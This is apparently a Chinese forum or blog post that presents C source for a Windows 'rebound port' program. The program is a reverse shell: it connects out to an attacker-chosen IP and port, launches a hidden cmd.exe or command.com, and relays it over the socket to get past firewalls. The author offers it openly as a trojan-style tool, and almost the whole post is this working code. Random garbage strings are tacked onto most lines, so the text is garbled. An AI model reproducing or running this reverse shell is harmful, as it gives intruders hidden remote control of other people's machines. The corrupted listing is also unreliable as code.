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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8Zvh"Z?  
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/* ============================== ! jb{q bq  
Rebound port in Windows NT von~-51;  
By wind,2006/7 parC~)b_  
===============================*/ fY9/u=  
#include /'0,cJnm  
#include 1~Z Kpvu  
0 B[eG49  
#pragma comment(lib,"wsock32.lib") _\2^s&iJh  
o*1t)HL<  
void OutputShell(); &-6 D'@  
SOCKET sClient; k0R;1lZ0n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1">]w2je:  
#L,5;R{`  
void main(int argc,char **argv) 'BwM{c-O"  
{ n)rF!a  
WSADATA stWsaData; =AJ I3 'x  
int nRet; 2 -M]!x)  
SOCKADDR_IN stSaiClient,stSaiServer; A[m4do  
D^H<)5d9  
if(argc != 3) 1MzOHE  
{ me`( J y<  
printf("Useage:\n\rRebound DestIP DestPort\n"); $[P>nRhW  
return; JTg0T+  
} 1eDc:!^SD  
rKys:is  
WSAStartup(MAKEWORD(2,2),&stWsaData); :cK;|{f  
R0*+GIRA(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O[fgn;@|  
]]Da/^K=Z  
stSaiClient.sin_family = AF_INET; +kTa>U<?  
stSaiClient.sin_port = htons(0); _;+N=/l0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U-EX)S^T[{  
Epm=&6zf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3fJwj}wL  
{ E5 0$y:  
printf("Bind Socket Failed!\n"); }AfK=1yOa  
return; N:@C% UW}  
} E0*'AZi&  
4r [T pb  
stSaiServer.sin_family = AF_INET; <ST#< $%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k&P_ c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GX lFS#`  
'yM)>]u"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mckrR$>  
{ "@I"0OA  
printf("Connect Error!"); E$[\Fk}S  
return; S:"t]gbF =  
} -W+67@(\8H  
OutputShell(); 2;`"B|-T  
} ]-aeoa#  
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void OutputShell() $V)LGu2( m  
{ ]4>[y?k34  
char szBuff[1024]; 7o+!Gts]  
SECURITY_ATTRIBUTES stSecurityAttributes; =7mR#3yt  
OSVERSIONINFO stOsversionInfo; QPfS3%p`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |8"~ou:.  
STARTUPINFO stStartupInfo; -$4%@Z  
char *szShell; WLWE%bDP  
PROCESS_INFORMATION stProcessInformation; ?WX&,ew~  
unsigned long lBytesRead; Zh.fv-Ecp  
n]@+<TA<uA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $0Y&r]'  
0PnW|N0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  ~Rcd  
stSecurityAttributes.lpSecurityDescriptor = 0; z~xN ]=  
stSecurityAttributes.bInheritHandle = TRUE; ?Ib/}JST  
h tn2`  
t?]6>J_V  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %Ys>PzM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #?i#q%q  
y=\jQ6Fc  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Tc)T0dRP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %f&(U/  
stStartupInfo.wShowWindow = SW_HIDE; morI'6N  
stStartupInfo.hStdInput = hReadPipe; | pp  @  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HJ5m5':a  
lq_W;L  
GetVersionEx(&stOsversionInfo); tGd<{nF%2  
y+?tUSPP  
switch(stOsversionInfo.dwPlatformId) -i'T!Qg1  
{ /)de`k"  
case 1: 7Yxy2[  
szShell = "command.com"; !o4xI?  
break; *<U&DOYV:  
default: EBM\p+x&  
szShell = "cmd.exe"; 64 \ZOG\,  
break; ('uYA&9  
} Vrz!.X~  
g#_?Vxt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u6y\GsM.a  
%i%Xi+{3  
send(sClient,szMsg,77,0); 1 qUdj[Bj  
while(1) NI(`o8fN  
{ "`"j2{9|e!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^;s`[f|w  
if(lBytesRead) H8K<.RY  
{ @\!wW-:A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0 $e;#}  
send(sClient,szBuff,lBytesRead,0); z[v5hhI)4  
} %1VMwqC]E  
else MQY1he2M  
{ %T6#c7U_  
lBytesRead=recv(sClient,szBuff,1024,0); ''BP4=r5 n  
if(lBytesRead<=0) break; >W'SG3Hmc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2c%}p0<;|?  
} ,0&lag  
} XU9=@y+|v  
\Zf&&7v  
return; Ip4NkUI3T  
}
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